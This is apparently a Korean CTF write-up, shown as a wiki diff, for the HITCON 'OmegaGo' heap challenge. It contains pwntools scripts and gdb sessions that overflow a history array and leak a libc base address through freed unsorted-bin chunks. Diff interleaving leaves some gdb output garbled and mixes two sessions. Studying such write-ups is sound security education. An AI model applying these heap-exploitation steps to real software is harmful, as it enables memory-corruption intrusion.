Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagepy
titleOverflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)


p.interactive()
  • 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
    • gGameInfo : 0x609FC0
    • gHistory : 0x609460
    • gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.

...

공격에 필요한 정보 수집

Leak Libc address

  • 다음과 같은 방법을 이용해 Libc address를 추출할 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
    • 앞에서 작성한 스크립트 코드에 의해 gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장되었습니다.
    • 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
      • AI GameInfo : 0x61d220
      • HUMAN GameInfo : 0x61d160
    • AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
      • Heap address : 0x61d1f0
      gPlayerGameInfo 영역에 저장된 값은 사용자의 입력 값으로 변경될 수 있습니다.
Code Block
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 4155
Attaching to process 4155
./omega*
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS

...Print board...


Time remain: O: 180.00, X: 180.00
A19
   ABCDEFGHIJKLMNOPQRS

...Print board...
Time remain: O: 180.00, X: 176.49

^C
Program received signal SIGINT, Interrupt.
gdb-peda$ x/4gx 0x609460
0x609460:	0x000000000061cc90	0x000000000061d160
0x609470:	0x000000000061d220	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d160 - 0x10
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/4gx 0x000000000061d220 - 0x10
0x61d210:	0x91f146e6557b6e4a	0x0000000000000091
0x61d220:	0x0000000000000002	0x0000000000000000
gdb-peda$ x/gx4gx 0x609fc00x61d1e0
0x609fc00x61d1e0:	0x00000000011d4e300xf90d94745f8a1984	0x0000000000000031
0x61d1f0:	0xeeda74e900000001	0x0000000000607228
gdb-peda$ c
Continuing.
  • "D19"를 입력 하면 gPlayerGameInfo 영역에 영향을 주게됩니다.
Code Block
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 

[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 4155
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 179.85

$ D19
   ABCDEFGHIJKLMNOPQRS

...Print board...
Time remain: O: 180.00, X: 145.32

$c
Continuing.
  • 사용자 입력 값("D19")으로 인해 "0x11d4e30" → "0x11d4eb0"으로 변경되었습니다.
  • "regret" 기능을 호출하게되면 gHistory[]의 맨 마지막에 저장된 2개의 GameInfo를 삭제합니다.
    • 분석을 위해 "0x4015CE" 영역에 Break point를 설정합니다.
    • AI GameInfo(0x61d220) 영역이 해제되면 해당 영역이 Top chunk가 됩니다.

      • 0x61d210 영역이 main_arena의 top 영역에 저장됩니다.
    • HUMAN GameInfo(0x61d160) 영역이 해제되면 해당 영역은 Unsorted chunk가 됩니다.
      • 0x61d150 영역이 main_arena.bin[0], [1] 영역에 저장됩니다.
      • Unsorted chunk(0x61d150)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
Code Block
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.
regret
Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d220	0x61d220
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x61d210
gdb-peda$ c
Continuing.

Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ i r rdi
rdi            0x61d160	0x61d160
gdb-peda$ ni
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x61d150
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x61d150
gdb-peda$ 
Code Block
^C      
Program received signal SIGINT, Interrupt.
0x00007fcd3fc8d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/gx 0x609fc0
0x609fc0:	0x00000000011d4eb0
gdb-peda$ x/gx 0x00000000011d4eb0
0x11d4eb0:	0x00000000000000004gx 0x61d150
0x61d150:	0xb3c74b70123a5ec4	0x0000000000000091
0x61d160:	0x00007ffff7839b78	0x00007ffff7839b78
gdb-peda$ 
  • 다음과 같은

    방법으로 Libc address를 메모리에 저장할

    방법으로 gPlayerGameInfo에 저장된 값(Heap address)을 변경할 수 있습니다.

  • "regret" 명령어를 입력합니다.

  • DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
  • 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
    • 0x0201a0c0이 마지막으로 할당 해제 됩니다.
    • 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
    • "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
  • 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
    • 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
    • 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
      • 0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8

Code Block
titleHeap 영역에 Libc address 저장
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000


(gdb) x/18gx 0x000000000201a0c0
0x201a0c0:	0x0000000000000000	0x0000000000000000
0x201a0d0:	0x0000000000000000	0x0000000000000000
0x201a0e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x201a0f0:	0x5550000155555555	0x0000000000000055
0x201a100:	0x0000000000000000	0x0000000000000000
0x201a110:	0x0000000000000000	0x0000000000000000
0x201a120:	0x0000000a00000007	0x0000000000000058
0x201a130:	0x40667fdc209246b8	0x40666f6b9e492bc5
0x201a140:	0x0000000000000000	0x0000000000000031
(gdb) c
Continuing.

regret


^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0:	0x00007fd2579d47b8	0x00007fd2579d47b8
0x1ca40d0:	0x0000000000000000	0x0000000000000000
0x1ca40e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x1ca40f0:	0x5550000155555555	0x0000000000000055
0x1ca4100:	0x0000000000000000	0x0000000000000000
0x1ca4110:	0x0000000000000000	0x0000000000000000
0x1ca4120:	0x0000000a00000007	0x0000000000000058
0x1ca4130:	0x40667fe2174c4cdb	0x406670861e92923f
0x1ca4140:	0x0000000000000090	0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x606000           0x607000     0x1000     0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x607000           0x608000     0x1000     0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x608000           0x60b000     0x3000        0x0 
           0x1c93000          0x1cb4000    0x21000        0x0 [heap]
      0x7fd257310000     0x7fd257415000   0x105000        0x0 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257415000     0x7fd257614000   0x1ff000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257614000     0x7fd257615000     0x1000   0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257615000     0x7fd257616000     0x1000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257616000     0x7fd2577d0000   0x1ba000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2577d0000     0x7fd2579d0000   0x200000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d0000     0x7fd2579d4000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d4000     0x7fd2579d6000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d6000     0x7fd2579db000     0x5000        0x0 
      0x7fd2579db000     0x7fd2579f1000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd2579f1000     0x7fd257bf0000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf0000     0x7fd257bf1000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf1000     0x7fd257cd7000    0xe6000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257cd7000     0x7fd257ed6000   0x1ff000    0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ed6000     0x7fd257ede000     0x8000    0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ede000     0x7fd257ee0000     0x2000    0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ee0000     0x7fd257ef5000    0x15000        0x0 
      0x7fd257ef5000     0x7fd257f18000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd2580f8000     0x7fd2580fd000     0x5000        0x0 
      0x7fd258114000     0x7fd258117000     0x3000        0x0 
      0x7fd258117000     0x7fd258118000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258118000     0x7fd258119000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258119000     0x7fd25811a000     0x1000        0x0 
      0x7ffe6668e000     0x7ffe666af000    0x21000        0x0 [stack]
      0x7ffe66744000     0x7ffe66746000     0x2000        0x0 [vvar]
      0x7ffe66746000     0x7ffe66748000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8
  • 앞에서 설명한 방법으로는 Heap 영역에 Libc address를 저장했지만 출력하지는 못합니다.
  • 다음은 Heap 영역에 저장된 Libc address를 출력하는 방법입니다.
    • "surrender" 명령어를 2번 호출합니다.
    • gameInfo 전역변수에 Overwrite된 Heap 주소 값을 변경합니다.(0x******00 → 0x******80)
      • 앞에서 "surrender" 명령어를 호출하는 이유는 gameInfo 전역변수의 첫번째 공간에 0x00으로 끝나는 주소를 저장하기 위해서 입니다.
      • 해당 값이 0x00 이 아니라면 좌표 값을 입력할 수 없습니다.
    • 좌표 값을 입력하여 Overwirte된 주소 값을 변경합니다.(D19)
    • "regret" 명령어를 실행합니다.
      • regret() 함수는 마지막에 저장된 heap address 2개를 제거합니다.

      • history[] 배열의 끝에 저장된 값은 공격자가 입력한 좌표 값에 의해 변경된 heap 주소 입니다.

      • regret() 함수는 해당 주소 값을 기준으로 추출한 정보를 전역 변수 gameInfo 에 저장합니다.
  • 디버깅을 이용해 확인해보겠습니다.
    • "surrender"에 의해 0x609fc0영역에 0x00으로 끝나는 Heap 주소(0xdd5200)가 저장되었습니다.
    • 좌표값 "D19"를 입력해 0x00를 0x80으로 변경했습니다.(0xdd5280)

    • 0xdd5280 값을 기준으로 데이터를 전역 변수 gameInfo에 저장합니다.

    • Script를 이용해 gHistory[]영역에 GameInfo를 365개를 저장합니다.

      • 이로 인해 gPlayerGameInfo의 board[0] 영역에 Heap 영역이 저장됩니다.

        • gPlayerGameInfo(0x609fc0) : 0x1c88e30

      • gPlayerGameInfo 영역에 저장된 Heap 주소 값은 사용자 입력 값으로 변경 할 수 있습니다.

    • 사용자 입력 값으로 "D19"를 입력합니다.

      • 해당 값으로 인해 gPlayerGameInfo에 저장된 Heap 주소가 "0x1c88e30" 에서 "0x1c88eb0"으로 변경되었습니다.

        • "0x1c88e30" + "0x80" = 0x1c88eb0

Code Block
lazenca0x0@ubuntu:~$ gdb -p 4425
gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88e30	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
gdb-peda$ b *0x4015CE
Breakpoint 1 at 0x4015ce
gdb-peda$ c
Continuing.


Input "D19"


gdb-peda$ x/4gx 0x609FC0
0x609fc0:	0x0000000001c88eb0	0x0000000001c88ef0
0x609fd0:	0x0000000001c88fb0	0x0000000000000000

gdb-peda$ p/x 0x1c88e30 + 0x80
$1 = 0x1c88eb0
gdb-peda$ 
  • 다음과 같은 방법으로 Unsorted chunk의 fd, bk영역에 저장된 main_arena.top의 주소 값 출력 할 수있습니다.
    • "regret" 기능을 호출하면 gHistory[] 배열의 마지막에 저장된 2개의 Heap 영역이 해제됩니다.
      • 앞에서 설명했듯이 HUMAN GameInfo(0x1c88ef0) 영역이 Unsorted chunk됩니다.
      • Unsorted chunk(0x1c88ee0)의 fd, bk 영역에 main_arena.top의 주소 값이 저장됩니다.
        • fd(0x1c88ef0) : 0x7f4b7d233b78
        • bk(0x1c88ef8) : 0x7f4b7d233b78
    • regret() 함수는 gHistory[365]에 저장된 주소(0x1c88eb0)를 이용해 GameInfo를 gPlayerGameInfo 전역 변수에 저장합니다.
      • 즉, Unsorted chunk(0x1c88ee0)의 fd, bk 영역이 출력됩니다.
      • 해당 값을 앞에서 작성한 Decode() 함수를 이용해 해석 할 수 있습니다.
Code Block
gdb-peda$ c
Continuing.
Breakpoint 1, 0x00000000004015ce
Code Block
titleLeak libc address
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e200	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.

//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e280	0x000000000105e2c0
0x609fd0:	0x000000000105e380	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) c
Continuing.

//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5:	mov    0x40(%rax),%rdx
   0x4016c9:	mov    %rdx,0x208930(%rip)        # 0x60a000
(gdb) set disassembly-flavor intel 
(gdb) x/2i $rip
=> 0x4016c5:	mov    rdx,QWORD PTR [rax+0x40]
   0x4016c9:	mov    QWORD PTR [rip+0x208930],rdx        # 0x60a000
(gdb) i r rax
rax            0xdd5280	14504576
(gdb) x/18gx 0xdd5280
0xdd5280:	0x0000000000000000	0x0000000000000031
0xdd5290:	0x0000000000dd5340	0x0000000000dcd3d0
0xdd52a0:	0x0000000000000000	0x0000000000000000
0xdd52b0:	0x240b2f4828c52f0b	0x0000000000000091
0xdd52c0:	0x00007fcad9e447b8	0x00007fcad9e447b8
0xdd52d0:	0x0000000000000000	0x0000000000000000
0xdd52e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0xdd52f0:	0x5554000155555555	0x0000000000000055
0xdd5300:	0x0000000000000000	0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0:	0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb)  i r rip
rip            0x4016c9	0x4016c9
(gdb)-peda$ c
Continuing.


Breakpoint 1, 0x00000000004015ce in ?? ()
gdb-peda$ ni
gdb-peda$ x/4gx 0x1c88ef0 - 0x10
0x1c88ee0:	0x33bb5de964b6f848	0x0000000000000091
0x1c88ef0:	0x00007f4b7d233b78	0x00007f4b7d233b78
gdb-peda$ p/x 0x2089300x1c88ef0 +- 0x4016c90x1c88eb0
$1$2 = 0x609ff90x40
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb)gdb-peda$ c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4b7cf66230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd53400x0000000001c88f70	0x0000000000dcd3d00x0000000001c83880
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b0x33bb5de964b6f848	0x0000000000000091
0x60a000:	0x00007fcad9e447b80x00007f4b7d233b78	0x00000000000000000x00007f4b7d233b78
0x60a010:	0x0000000000000000	0x00000000000004000x0000000000000000
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000gdb-peda$ 
  • 다음 코드를 이용할 수 있습니다다음과 같은 코드를 이용하면 됩니다.
Code Block
languagepy
titleLeak libc address
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
#sleep(20)
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

...